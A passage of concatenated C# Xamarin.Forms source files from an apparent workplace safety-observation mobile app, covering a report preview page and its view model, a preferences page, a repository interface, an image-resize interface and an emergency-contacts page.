isProposeActionVissible = value;
OnPropertyChanged(nameof(IsProposeActionVissible));
}
}
}
public bool IsDescriptionVissible
{
get { return isDescriptionVissible; }
set
{
if (isDescriptionVissible != value)
{
isDescriptionVissible = value;
OnPropertyChanged(nameof(IsDescriptionVissible));
}
}
}
public bool IsSecondImageVissible
{
get { return isSecondImageVissible; }
set
{
if (isSecondImageVissible != value)
{
isSecondImageVissible = value;
OnPropertyChanged(nameof(IsSecondImageVissible));
}
}
}
public bool IsFirstImageVissible
{
get { return isFirstImageVissible; }
set
{
if (isFirstImageVissible != value)
{
isFirstImageVissible = value;
OnPropertyChanged(nameof(IsFirstImageVissible));
}
}
}
public bool IsNameVissible
{
get { return isNameVissible; }
set
{
if (isNameVissible != value)
{
isNameVissible = value;
OnPropertyChanged(nameof(IsNameVissible));
}
}
}
public bool IsImageLabelVissible
{
get { return isImageLabelVissible; }
set
{
if (isImageLabelVissible != value)
{
isImageLabelVissible = value;
OnPropertyChanged(nameof(IsImageLabelVissible));
}
}
}
public bool CanICloseSituation
{
get { return canICloseSituation; }
set
{
if (canICloseSituation != value)
{
canICloseSituation = value;
OnPropertyChanged(nameof(CanICloseSituation));
}
}
}
public ImageSource ImageSource2
{
get { return imageSource2; }
set
{
if (imageSource2 != value)
{
imageSource2 = value;
OnPropertyChanged(nameof(ImageSource2));
}
}
}
public ImageSource ImageSource1
{
get { return imageSource1; }
set
{
if (imageSource1 != value)
{
imageSource1 = value;
OnPropertyChanged(nameof(ImageSource1));
}
}
}
public string ProposeActions
{
get { return proposeActions; }
set
{
if (proposeActions != value)
{
proposeActions = value;
OnPropertyChanged(nameof(ProposeActions));
}
}
}
public string Description
{
get { return description; }
set
{
if (description != value)
{
description = value;
OnPropertyChanged(nameof(Description));
}
}
}
public string AdministrativeArea
{
get { return administrativeArea; }
set
{
if (administrativeArea != value)
{
administrativeArea = value;
OnPropertyChanged(nameof(AdministrativeArea));
}
}
}
public string Name
{
get { return name; }
set
{
if (name != value)
{
name = value;
OnPropertyChanged(nameof(Name));
}
}
}
public string Witness
{
get { return witness; }
set
{
if (witness != value)
{
witness = value;
OnPropertyChanged(nameof(Witness));
}
}
}
public string Time
{
get { return time; }
set
{
if (time != value)
{
time = value;
OnPropertyChanged(nameof(Time));
}
}
}
public string Date
{
get { return date; }
set
{
if (date != value)
{
date = value;
OnPropertyChanged(nameof(Date));
}
}
}
#endregion
public ICommand SaveCommand { get; private set; }
public ICommand EditCommand { get; private set; }
public ICommand InfoCommand { get; private set; }
public ICommand SendCommand { get; private set; }
public PreviewPageViewModel(SafetyObservation _safetyObservation)
{
safetyObservation = _safetyObservation;
Init();
InfoCommand = new Command(async () => await Info());
SendCommand = new Command(async () => await SendSafetyObservation());
SaveCommand = new Command(async () => await Save());
EditCommand = new Command(async () => await Edit());
}
private void Init()
{
date = safetyObservation.Date.ToShortDateString();
time = safetyObservation.Time.ToShortTimeString();
witness = safetyObservation.WitnessId;
if (!string.IsNullOrEmpty(safetyObservation.Title))
{
name = safetyObservation.Title;
IsNameVissible = true;
}
if (!string.IsNullOrEmpty(safetyObservation.Description))
{
description = safetyObservation.Description;
IsDescriptionVissible = true;
}
if (!string.IsNullOrEmpty(safetyObservation.Actions))
{
proposeActions = safetyObservation.Actions;
IsProposeActionVissible = true;
}
if (!string.IsNullOrEmpty(safetyObservation.FirstImageSource))
{
imageSource1 = ImageSource.FromFile(safetyObservation.FirstImageSource);
IsImageLabelVissible = true;
IsFirstImageVissible = true;
}
if (!string.IsNullOrEmpty(safetyObservation.SecondImageSource))
{
imageSource2 = ImageSource.FromFile(safetyObservation.SecondImageSource);
IsImageLabelVissible = true;
IsSecondImageVissible = true;
}
administrativeArea = safetyObservation.AdministrativeAreaOrSiteFacilities ? AppResources.Yes.ToLower() : AppResources.No.ToLower();
}
private async Task SendSafetyObservation()
{
await NavigateToAsync(new SendObservationPage(new SendObservationPageViewModel()));
}
private async Task Edit()
{
await NavigateToAsync(new ReportSafetyObservationPage(new ReportSafetyObservationPageViewModel(safetyObservation,false)));
}
private async Task Save()
{
if (safetyObservation != null && safetyObservation.ID > 0)
{
AppSetting.Current.GskSafetyDB.Repository.Update<SafetyObservation>(safetyObservation);
}
else
{
AppSetting.Current.GskSafetyDB.Repository.Add<SafetyObservation>(safetyObservation);
}
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.ImagesOfObservation, "Saved!"));
}
private async Task Info()
{
await PopupNavigation.Instance.PushAsync(new AttentionPopUp(AppResources.Attention, AppResources.Attention));
}
}
}
<file_sep>using System;
using FFImageLoading.Forms;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.ContentViews;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class PreviewPage : BasePage
{
LabelVerticalView labelDate, labelTime, labelverticalWitness, labelverticalName;
LabelVerticalView labelverticalAdminArea, labelverticalDescription, labelverticalProposeActions;
LabelVerticalView image1Vertical;
CustomLabel labelDateValue, labelTimeValue, labelWitnessValue, labelNameValue, labelDangerous, labelSituation;
CustomLabel labelAdminAreaValue, labelDescriptionValue, labelProposeactionsValue;
CachedImage Image1, Image2;
CustomStackLayout stackMain, stackButtonSwitchInfo, stackDangerous, stackSituation;
CustomImageButton buttonEdit, buttonImageSend;
Image infoImage;
BoxView separator1, separator2, separator3, separator4, separator5, separator6, separator7;
Switch switchCanIComplete;
RoundedView roundedStack;
SaveCancelView saveCancelView;
TapGestureRecognizer tap;
private PreviewPageViewModel ViewModel
{
get => BindingContext as PreviewPageViewModel;
set => BindingContext = value;
}
public PreviewPage(PreviewPageViewModel viewModel, bool isHistory = false)
{
ViewModel = viewModel;
this.Title = AppResources.PreviewOfObservation;
Init();
if (isHistory)
{
HideDisableElements();
}
}
private void HideDisableElements()
{
switchCanIComplete.IsEnabled = false;
buttonEdit.IsVisible = false;
buttonImageSend.IsVisible = false;
saveCancelView.IsVisible = false;
}
private void Init()
{
InitialiseLabels();
Image1 = CreateImage();
Image2 = CreateImage();
image1Vertical = new LabelVerticalView(AppResources.Image, Image1);
infoImage = CreateImageTouch();
tap = new TapGestureRecognizer();
infoImage.GestureRecognizers.Add(tap);
buttonEdit = new CustomImageButton(AppResources.Edit, Images.EditImage, AppSetting.Current.Colors.OrangeColor, AppSetting.Current.FontSize.Large, null);
buttonEdit.image.WidthRequest = ScreenWidth * 0.060;
buttonEdit.image.HeightRequest = ScreenWidth * 0.060;
buttonEdit.Margin = new Thickness(0, ScreenHeight * 0.030, 0, ScreenHeight * 0.030);
buttonEdit.HorizontalOptions = LayoutOptions.Center;
separator1 = CreateSeparator();
separator2 = CreateSeparator();
separator3 = CreateSeparator();
separator4 = CreateSeparator();
separator5 = CreateSeparator();
separator6 = CreateSeparator();
separator7 = CreateSeparator();
switchCanIComplete = CreateSwitch();
buttonImageSend = CreateImageButton(AppResources.Send, Images.SendImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonImageSend.button.HeightRequest = ScreenHeight * 0.065;
buttonImageSend.button.WidthRequest = ScreenWidth * 0.800;
saveCancelView = new SaveCancelView();
saveCancelView.Margin = new Thickness(0, 0, 0, 30);
CreateBindings();
//Layouts
stackSituation = new CustomStackLayout();
stackSituation.Orientation = StackOrientation.Horizontal;
stackSituation.Spacing = 5;
stackDangerous = new CustomStackLayout();
stackDangerous.WidthRequest = ScreenWidth * 0.800;
stackDangerous.Margin = new Thickness(10, 10, 0, 10);
stackButtonSwitchInfo = CreateHorizontalStack();
roundedStack = new RoundedView(stackButtonSwitchInfo);
roundedStack.frame.CornerRadius = 5;
roundedStack.frame.BackgroundColor = AppSetting.Current.Colors.EntryBackroundColor;
stackMain = CreateSatckLayout();
FillLayout();
}
private void FillLayout()
{
stackSituation.Children.Add(labelSituation);
stackSituation.Children.Add(infoImage);
stackDangerous.Children.Add(labelDangerous);
stackDangerous.Children.Add(stackSituation);
stackButtonSwitchInfo.Children.Add(stackDangerous);
stackButtonSwitchInfo.Children.Add(switchCanIComplete);
stackMain.Children.Add(labelDate);
stackMain.Children.Add(separator1);
stackMain.Children.Add(labelTime);
stackMain.Children.Add(separator2);
stackMain.Children.Add(labelverticalName);
stackMain.Children.Add(separator3);
stackMain.Children.Add(labelverticalAdminArea);
stackMain.Children.Add(separator4);
stackMain.Children.Add(labelverticalWitness);
stackMain.Children.Add(separator5);
stackMain.Children.Add(image1Vertical);
stackMain.Children.Add(Image2);
stackMain.Children.Add(separator6);
stackMain.Children.Add(labelverticalDescription);
stackMain.Children.Add(separator7);
stackMain.Children.Add(labelverticalProposeActions);
stackMain.Children.Add(roundedStack);
stackMain.Children.Add(buttonEdit);
stackMain.Children.Add(buttonImageSend);
stackMain.Children.Add(saveCancelView);
var scrollMain = new CustomScrollView();
scrollMain.Content = stackMain;
Content = scrollMain;
}
private void CreateBindings()
{
labelDateValue.SetBinding(Label.TextProperty, nameof(ViewModel.Date));
labelTimeValue.SetBinding(Label.TextProperty, nameof(ViewModel.Time));
labelNameValue.SetBinding(Label.TextProperty, nameof(ViewModel.Name));
labelAdminAreaValue.SetBinding(Label.TextProperty, nameof(ViewModel.AdministrativeArea));
labelWitnessValue.SetBinding(Label.TextProperty, nameof(ViewModel.Witness));
labelDescriptionValue.SetBinding(Label.TextProperty, nameof(ViewModel.Description));
labelProposeactionsValue.SetBinding(Label.TextProperty, nameof(ViewModel.ProposeActions));
Image1.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.ImageSource1));
Image1.SetBinding(CachedImage.IsVisibleProperty, nameof(ViewModel.IsFirstImageVissible));
Image2.SetBinding(CachedImage.SourceProperty, nameof(ViewModel.ImageSource2));
Image2.SetBinding(CachedImage.IsVisibleProperty, nameof(ViewModel.IsSecondImageVissible));
saveCancelView.saveImageButton.button.SetBinding(Button.CommandProperty, nameof(ViewModel.SaveCommand));
buttonEdit.button.SetBinding(Button.CommandProperty, nameof(ViewModel.EditCommand));
tap.SetBinding(TapGestureRecognizer.CommandProperty, nameof(ViewModel.InfoCommand));
buttonImageSend.button.SetBinding(Button.CommandProperty, nameof(ViewModel.SendCommand));
switchCanIComplete.SetBinding(Switch.IsToggledProperty, nameof(ViewModel.CanICloseSituation));
}
#region Initialise view's
private void InitialiseLabels()
{
labelDateValue = CreateLabel();
labelTimeValue = CreateLabel();
labelWitnessValue = CreateLabel();
labelNameValue = CreateLabel();
labelAdminAreaValue = CreateLabel();
labelDescriptionValue = CreateLabel();
labelProposeactionsValue = CreateLabel();
labelDangerous = CreateBoldLabel(AppResources.ICanClose);
labelSituation = CreateBoldLabel(AppResources.Situation);
labelDate = new LabelVerticalView(AppResources.Date, labelDateValue);
labelTime = new LabelVerticalView(AppResources.Time, labelTimeValue);
labelverticalWitness = new LabelVerticalView(AppResources.Witness, labelWitnessValue);
labelverticalName = new LabelVerticalView(AppResources.Title, labelNameValue);
labelverticalAdminArea = new LabelVerticalView(AppResources.AdministrativeArea, labelAdminAreaValue);
labelverticalDescription = new LabelVerticalView(AppResources.Description, labelDescriptionValue);
labelverticalProposeActions = new LabelVerticalView(AppResources.ProposeAction + ":", labelProposeactionsValue);
}
#endregion
#region Create View's
private Switch CreateSwitch()
{
var switchl = new Switch()
{
BackgroundColor = Color.Transparent,
VerticalOptions = LayoutOptions.Center,
HorizontalOptions = LayoutOptions.End,
OnColor = AppSetting.Current.Colors.LabelsColors,
Margin = new Thickness(0,0,10,0)
};
return switchl;
}
private CustomLabel CreateBoldLabel(string text)
{
var lbl = CreateLabel();
lbl.Text = text;
lbl.VerticalTextAlignment = TextAlignment.Start;
lbl.HorizontalOptions = LayoutOptions.Start;
lbl.TextColor = AppSetting.Current.Colors.LabelsColors;
lbl.FontAttributes = FontAttributes.Bold;
return lbl;
}
protected override CustomButton CreateButton(string text)
{
var btn = base.CreateButton(text);
btn.FontSize = AppSetting.Current.FontSize.Large;
btn.BackgroundColor = AppSetting.Current.Colors.OrangeColor;
btn.TextColor = AppSetting.Current.Colors.WhiteColor;
btn.FontAttributes = FontAttributes.Bold;
btn.HeightRequest = ScreenHeight * 0.065;
return btn;
}
private BoxView CreateSeparator()
{
var separatorLine = new BoxView()
{
BackgroundColor = AppSetting.Current.Colors.LabelsColors,
HeightRequest = 1,
VerticalOptions = LayoutOptions.End,
HorizontalOptions = LayoutOptions.CenterAndExpand,
WidthRequest = ScreenWidth * 0.800,
};
return separatorLine;
}
private CustomStackLayout CreateHorizontalStack()
{
var stakc = new CustomStackLayout();
stakc.Orientation = StackOrientation.Horizontal;
stakc.WidthRequest = ScreenWidth * 0.800;
stakc.HorizontalOptions = LayoutOptions.FillAndExpand;
stakc.Spacing = 10;
return stakc;
}
private Image CreateImageTouch()
{
var image = new Image()
{
Source = Images.QuestionImage,
BackgroundColor = Color.Transparent,
HorizontalOptions = LayoutOptions.End,
VerticalOptions = LayoutOptions.Center,
WidthRequest = ScreenWidth * 0.050,
HeightRequest = ScreenWidth * 0.050
};
return image;
}
private CustomLabel CreateLabel()
{
var label = new CustomLabel()
{
FontSize = AppSetting.Current.FontSize.Medium,
TextColor = AppSetting.Current.Colors.FontBlueColor,
VerticalOptions = LayoutOptions.Start,
VerticalTextAlignment = TextAlignment.Start
};
return label;
}
private CachedImage CreateImage()
{
var image = new CachedImage
{
Aspect = Aspect.AspectFit,
BackgroundColor = Color.Silver,
WidthRequest = ScreenWidth * 0.800,
HeightRequest = ScreenHeight * 0.230,
};
return image;
}
private CustomStackLayout CreateSatckLayout()
{
var stack = new CustomStackLayout()
{
Margin = new Thickness(0, ScreenHeight * 0.030, 0, ScreenHeight * 0.030),
WidthRequest = ScreenWidth * 0.800,
VerticalOptions = LayoutOptions.StartAndExpand,
HorizontalOptions = LayoutOptions.CenterAndExpand,
Spacing = 20,
};
return stack;
}
#endregion
}
}
<file_sep>using System;
using System.Collections.Generic;
using SQLite;
namespace XFBase.SQLite.Repository
{
public interface IRepository
{
List<T> GetAllData<T>() where T : class, new();
void Add<T>(T entity) where T : class;
void Update<T>(T entity) where T : class;
void Delete<T>(T entity) where T : class;
void CreateTableLocal<T>() where T : class;
void DeleteAll<T>() where T : class;
void AddAll<T>(List<T> entities) where T : class;
void UpdateAll<T>(List<T> enteties) where T : class;
TableMapping GetMapping<T>() where T : class;
List<object> QueryAll<T>(string query, List<object> parameters) where T : class;
IEnumerable<T> GetAllSearchedByLinq<T>(Func<T, bool> expression) where T : class, new();
T GetItemSearchedByLinq<T>(Func<T, bool> expression) where T : class, new();
}
}
<file_sep>using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.MessageHubMessages;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class PreferencePage : BasePage
{
CustomImageButton buttonImageSave;
CustomLabel labelUsename, labelOrganizationalUnit, labelLanguage, labelHealthManager, labelLocation;
CustomEntry entryUsername, entryOrganizationalUnit;
CustomPicker pickerLanguage, pickerHealthManager, pickerLocation;
CustomStackLayout stackMain,stackFields;
CustomScrollView ScrollView;
private PreferencePageViewModel ViewModel
{
get => BindingContext as PreferencePageViewModel;
set => BindingContext = value;
}
public PreferencePage(PreferencePageViewModel viewModel)
{
this.ViewModel = viewModel;
Init();
this.Title = AppResources.SetUpYourPreferences;
App.MessageHub.Subscribe(Messages.LanguageChanged, (obj) =>
{
ReloadPage();
});
}
private void Init()
{
#region Declarations
// Labels
labelUsename = CreateLabel(AppResources.Username, AppSetting.Current.Colors.LabelsColors);
labelLanguage = CreateLabel(AppResources.Language, AppSetting.Current.Colors.LabelsColors);
labelOrganizationalUnit = CreateLabel(AppResources.OrganizationalUnit, AppSetting.Current.Colors.LabelsColors);
labelHealthManager = CreateLabel(AppResources.EnviromentalHealthSaftey, AppSetting.Current.Colors.LabelsColors);
labelLocation = CreateLabel(AppResources.ChooseLocation, AppSetting.Current.Colors.LabelsColors);
// Buttons
buttonImageSave = CreateImageButton(AppResources.Save, Images.SaveImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonImageSave.button.HeightRequest = ScreenHeight * 0.065;
buttonImageSave.button.WidthRequest = ScreenWidth * 0.800;
buttonImageSave.Margin = new Thickness(0, ScreenHeight * 0.050, 0, 0);
// Entries
entryUsername = CreateEntry("");
entryUsername.WidthRequest = ScreenWidth * 0.740;
entryOrganizationalUnit = CreateEntry("");
entryOrganizationalUnit.WidthRequest = ScreenWidth * 0.740;
var roundedUsernameEntry = new RoundedView(entryUsername);
roundedUsernameEntry.frame.BackgroundColor = AppSetting.Current.Colors.EntryBackroundColor;
var roundedOrganizationUnitEntry = new RoundedView(entryOrganizationalUnit);
roundedOrganizationUnitEntry.frame.BackgroundColor = AppSetting.Current.Colors.EntryBackroundColor;
// Pickers
pickerLanguage = CreatePicker();
pickerHealthManager = CreatePicker();
pickerLocation = CreatePicker();
var roundedlanguagePicker = new RoundedView(pickerLanguage);
roundedlanguagePicker.frame.BackgroundColor = AppSetting.Current.Colors.EntryBackroundColor;
var roundedHealthManagerPicker = new RoundedView(pickerHealthManager);
roundedHealthManagerPicker.frame.BackgroundColor = AppSetting.Current.Colors.EntryBackroundColor;
var roundedLocationPicker = new RoundedView(pickerLocation);
roundedLocationPicker.frame.BackgroundColor = AppSetting.Current.Colors.EntryBackroundColor;
roundedLocationPicker.HorizontalOptions = LayoutOptions.Center;
// Layouts
stackMain = new CustomStackLayout();
stackFields = new CustomStackLayout();
stackFields.HorizontalOptions = LayoutOptions.Center;
stackFields.WidthRequest = ScreenWidth * 0.740;
ScrollView = new CustomScrollView();
ScrollView.WidthRequest = ScreenWidth * 0.800;
ScrollView.VerticalScrollBarVisibility = ScrollBarVisibility.Never;
ScrollView.HorizontalOptions = LayoutOptions.Center;
#endregion
#region Bindings
entryUsername.SetBinding(Entry.TextProperty, nameof(ViewModel.UserName));
entryOrganizationalUnit.SetBinding(Entry.TextProperty, nameof(ViewModel.OrganizationUnit));
pickerLanguage.SetBinding(Picker.ItemsSourceProperty, nameof(ViewModel.LanguagePickerSource));
pickerLanguage.SetBinding(Picker.SelectedItemProperty, nameof(ViewModel.SelectedLanguage));
pickerHealthManager.SetBinding(Picker.ItemsSourceProperty, nameof(ViewModel.HealthManagePickerSource));
pickerHealthManager.SetBinding(Picker.SelectedItemProperty, nameof(ViewModel.SelectedHealthManager));
pickerLocation.SetBinding(Picker.ItemsSourceProperty, nameof(ViewModel.LocationPickerSource));
pickerLocation.SetBinding(Picker.SelectedItemProperty, nameof(ViewModel.SelectedLocation));
buttonImageSave.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonSaveCommand));
#endregion
#region Fill Layouts
stackFields.Children.Add(labelUsename);
stackFields.Children.Add(roundedUsernameEntry);
stackFields.Children.Add(labelLanguage);
stackFields.Children.Add(roundedlanguagePicker);
stackFields.Children.Add(labelOrganizationalUnit);
stackFields.Children.Add(roundedOrganizationUnitEntry);
stackFields.Children.Add(labelHealthManager);
stackFields.Children.Add(roundedHealthManagerPicker);
stackFields.Children.Add(labelLocation);
stackFields.Children.Add(roundedLocationPicker);
stackMain.Children.Add(stackFields);
stackMain.Children.Add(buttonImageSave);
ScrollView.Content = stackMain;
Content = ScrollView;
#endregion
}
protected override CustomLabel CreateLabel(string text, Color textColor, double? fontSize = 17)
{
var lbl = base.CreateLabel(text, textColor, fontSize);
lbl.HorizontalOptions = LayoutOptions.Start;
lbl.FontSize = AppSetting.Current.FontSize.Small;
lbl.TextColor = AppSetting.Current.Colors.LabelsColors;
lbl.Margin = new Thickness(8, ScreenHeight * 0.050, 0, 2);
return lbl;
}
private CustomPicker CreatePicker()
{
var picker = new CustomPicker();
picker.TextColor = AppSetting.Current.Colors.FontBlueColor;
picker.HeightRequest = ScreenHeight * 0.065;
picker.Image = Images.DownArrow;
picker.WidthRequest = ScreenWidth * 0.740;
picker.HorizontalOptions = LayoutOptions.Center;
return picker;
}
protected override CustomEntry CreateEntry(string placeholeder = null)
{
var entry = base.CreateEntry(placeholeder);
entry.TextColor = AppSetting.Current.Colors.FontBlueColor;
entry.HeightRequest = ScreenHeight * 0.065;
return entry;
}
private void ReloadPage()
{
buttonImageSave.label.Text = AppResources.Save;
}
}
}
<file_sep>using System;
using System.Threading.Tasks;
namespace GSK_Saftey.Helpers.PlatformServices.Images
{
public interface IResizeImage
{
/// <summary>
/// Resizes and compresses the image.
/// </summary>
/// <returns>The resized image byte array.</returns>
/// <param name="imageData">Image byte array.</param>
/// <param name="width">Desired width.</param>
/// <param name="height">Desired height.</param>
/// <param name="quality">Desired quality from 0 do 100.</param>
byte[] ResizeImage(byte[] imageData, float width, float height, int quality);
/// <summary>
/// Gets the image properties.
/// </summary>
/// <returns>The image data.</returns>
/// <param name="imageData">Image byte array.</param>
ImageData GetImageData(byte[] imageData);
/// <summary>
/// Compresses the image.
/// </summary>
/// <returns>The image.</returns>
/// <param name="imageData">Image byte array.</param>
/// <param name="quality">Desired quality from 0 to 100.</param>
byte[] CompressImage(byte[] imageData, int quality);
/// <summary>
/// Resizes and compresses the image.
/// </summary>
/// <returns>The resized image byte array.</returns>
/// <param name="imageData">Image byte array.</param>
/// <param name="width">Desired width.</param>
/// <param name="height">Desired height.</param>
/// <param name="quality">Desired quality from 0 do 100.</param>
Task<byte[]> ResizeImageUWP(byte[] imageData, float width, float height, int quality);
/// <summary>
/// Gets the image properties.
/// </summary>
/// <returns>The image data.</returns>
/// <param name="imageData">Image byte array.</param>
Task<ImageData> GetImageDataAsyncUWP(byte[] imageData);
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Pages.CustomControl;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages
{
public class EmergencyPage : BasePage
{
Label labelSecondText, labelFirstText, labelThirdText, labelFourthText;
CustomLabel labelFirstDot, labelSecondDot, labelDescription, labelEmergencyNumbers, labelSecondDescription, labelTabOnNumber;
CustomImageButton buttonFirst, buttonSecond, buttonThird, buttonFourth, buttonReport;
CustomStackLayout stackMain, stackFirstDot, stackSecondDot;
CustomGrid gridTelephone;
CustomScrollView scrollView;
private EmergencyPageViewModel ViewModel
{
get => BindingContext as EmergencyPageViewModel;
set => BindingContext = value;
}
public EmergencyPage()
{
this.Title = AppResources.IsItAnEmergency;
Init();
}
private void Init()
{
ViewModel = new EmergencyPageViewModel();
#region Declarations
InitialiseLabels();
//Buttons
buttonReport = CreateImageButton(AppResources.ReportSafetyObservation, Images.ObservationImage, AppSetting.Current.Colors.WhiteColor, AppSetting.Current.FontSize.Large, AppSetting.Current.Colors.OrangeColor, true);
buttonReport.button.HeightRequest = ScreenHeight * 0.065;
buttonReport.button.WidthRequest = ScreenWidth * 0.800;
buttonFirst = CreateImageButton("3000");
buttonSecond = CreateImageButton("9000");
buttonThird = CreateImageButton("6000");
buttonFourth = CreateImageButton("5000");
//Layouts
stackMain = new CustomStackLayout()
{
Spacing = ScreenHeight * 0.045
};
stackFirstDot = new CustomStackLayout();
stackFirstDot.Margin = new Thickness(ScreenWidth * 0.050, ScreenHeight * 0.060, 0, 0);
stackFirstDot.Orientation = StackOrientation.Horizontal;
stackFirstDot.WidthRequest = ScreenWidth * 0.800;
stackFirstDot.HorizontalOptions = LayoutOptions.Center;
stackSecondDot = new CustomStackLayout();
stackSecondDot.Orientation = StackOrientation.Horizontal;
stackSecondDot.Margin = new Thickness(ScreenWidth * 0.050, 0, 0, 0);
stackSecondDot.WidthRequest = ScreenWidth * 0.800;
stackSecondDot.HorizontalOptions = LayoutOptions.Center;
gridTelephone = CreateGrid(5, 2);
var roundedGridTelephone = new RoundedView(gridTelephone);
roundedGridTelephone.frame.CornerRadius = 5;
roundedGridTelephone.WidthRequest = ScreenWidth * 0.800;
roundedGridTelephone.HorizontalOptions = LayoutOptions.Center;
roundedGridTelephone.frame.BackgroundColor = AppSetting.Current.Colors.EntryBackroundColor;
scrollView = new CustomScrollView();
scrollView.WidthRequest = ScreenWidth * 0.800;
scrollView.HorizontalOptions = LayoutOptions.Center;
scrollView.VerticalOptions = LayoutOptions.Start;
#endregion
#region Bindings
buttonFirst.button.SetBinding(Button.CommandProperty, nameof(ViewModel.OpenKeyboardCommand));
buttonSecond.button.SetBinding(Button.CommandProperty, nameof(ViewModel.OpenKeyboardCommand));
buttonThird.button.SetBinding(Button.CommandProperty, nameof(ViewModel.OpenKeyboardCommand));
buttonFourth.button.SetBinding(Button.CommandProperty, nameof(ViewModel.OpenKeyboardCommand));
buttonReport.button.SetBinding(Button.CommandProperty, nameof(ViewModel.ButtonReportCommand));
#endregion
#region Fill Layouts
stackFirstDot.Children.Add(labelFirstDot);
stackFirstDot.Children.Add(labelDescription);
stackSecondDot.Children.Add(labelSecondDot);
stackSecondDot.Children.Add(labelSecondDescription);
gridTelephone.Children.Add(labelEmergencyNumbers, 0, 3, 0, 2);
gridTelephone.Children.Add(labelFirstText, 0, 1);
gridTelephone.Children.Add(labelFourthText, 0, 2);
gridTelephone.Children.Add(labelThirdText, 0, 3);
gridTelephone.Children.Add(labelSecondText, 0, 4);
gridTelephone.Children.Add(buttonFirst, 1, 1);
gridTelephone.Children.Add(buttonSecond, 1, 2);
gridTelephone.Children.Add(buttonThird, 1, 3);
gridTelephone.Children.Add(buttonFourth, 1, 4);
gridTelephone.Children.Add(labelTabOnNumber, 0, 3, 5, 6);
stackMain.Children.Add(stackFirstDot);
stackMain.Children.Add(stackSecondDot);
stackMain.Children.Add(roundedGridTelephone);
stackMain.Children.Add(buttonReport);
scrollView.Content = stackMain;
Content = scrollView;
#endregion
}
private void InitialiseLabels()
{
// Labels
labelFirstDot = new CustomLabel();
labelFirstDot.Text = ".";
labelFirstDot.FontSize = AppSetting.Current.FontSize.Large * 3;
labelFirstDot.Margin = new Thickness(0, -(ScreenHeight * 0.070), 5, 0);
labelFirstDot.TextColor = AppSetting.Current.Colors.FontBlueColor;
labelSecondDot = new CustomLabel();
labelSecondDot.Text = ".";
labelSecondDot.FontSize = AppSetting.Current.FontSize.Large * 3;
labelSecondDot.Margin = new Thickness(0, -(ScreenHeight * 0.070), 5, 0);
labelSecondDot.TextColor = AppSetting.Current.Colors.FontBlueColor;
if (Device.RuntimePlatform == Device.Android)
{
labelFirstDot.Margin = new Thickness(0, -(ScreenHeight * 0.075), 5, 0);
labelSecondDot.Margin = new Thickness(0, -(ScreenHeight * 0.075), 5, 0);
}
if (Device.RuntimePlatform == Device.iOS && (ScreenWidth * 2) <= ScreenHeight)
{
labelFirstDot.Margin = new Thickness(0, -(ScreenHeight * 0.050), 5, 0);
labelSecondDot.Margin = new Thickness(0, -(ScreenHeight * 0.050), 5, 0);
}
labelDescription = CreateLabel(AppResources.OnlyUseInCaseOfEmergency, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Medium * 0.9);
labelDescription.HorizontalTextAlignment = TextAlignment.Start;
labelSecondDescription = CreateLabel(AppResources.IfNoYouCanGoBack, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Medium * 0.9);
labelSecondDescription.HorizontalTextAlignment = TextAlignment.Start;
labelEmergencyNumbers = CreateLabel(AppResources.EmergencyTelephoneNumbers, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Medium);
labelEmergencyNumbers.FontAttributes = FontAttributes.Bold;
labelEmergencyNumbers.HorizontalTextAlignment = TextAlignment.Center;
labelEmergencyNumbers.VerticalTextAlignment = TextAlignment.End;
labelFirstText = CreatNormalLabel(AppResources.Apollo, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Medium * 0.9);
var fs = new FormattedString();
fs.Spans.Add(new Span { Text = AppResources.Wavre_AxisParc, FontSize = AppSetting.Current.FontSize.Medium * 0.9, TextColor = AppSetting.Current.Colors.FontBlueColor });
fs.Spans.Add(new Span { Text = Environment.NewLine });
fs.Spans.Add(new Span { Text = AppResources.MontStGuibert, FontSize = AppSetting.Current.FontSize.Small * 0.9, TextColor = AppSetting.Current.Colors.FontBlueColor });
labelSecondText = new Label();
labelSecondText.FormattedText = fs;
labelSecondText.Margin = new Thickness(ScreenWidth * 0.060, -(ScreenHeight * 0.010), 0, 0);
labelThirdText = CreatNormalLabel(AppResources.Rixenstart, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Medium * 0.9);
labelFourthText = CreatNormalLabel(AppResources.Gembloux, AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Medium * 0.9);
labelTabOnNumber = CreateLabel(AppResources.TabOnNumberToMakeACall, AppSetting.Current.Colors.LabelsColors, AppSetting.Current.FontSize.Small);
labelTabOnNumber.HorizontalOptions = LayoutOptions.Start;
labelTabOnNumber.Margin = new Thickness(ScreenWidth * 0.060, 0, 0, 0);
}
private CustomImageButton CreateImageButton(string text)
{
var btn = new CustomImageButton(text, Images.PhoneImage, AppSetting.Current.Colors.OrangeColor, AppSetting.Current.FontSize.Medium, AppSetting.Current.Colors.EntryBackroundColor,true);
btn.button.CommandParameter = text;
btn.button.CornerRadius = 10;
btn.image.Margin = ScreenWidth * 0.010;
btn.image.HeightRequest = ScreenHeight * 0.050;
btn.image.WidthRequest = ScreenWidth * 0.040;
btn.button.BorderColor = AppSetting.Current.Colors.OrangeColor;
btn.button.BorderWidth = 1;
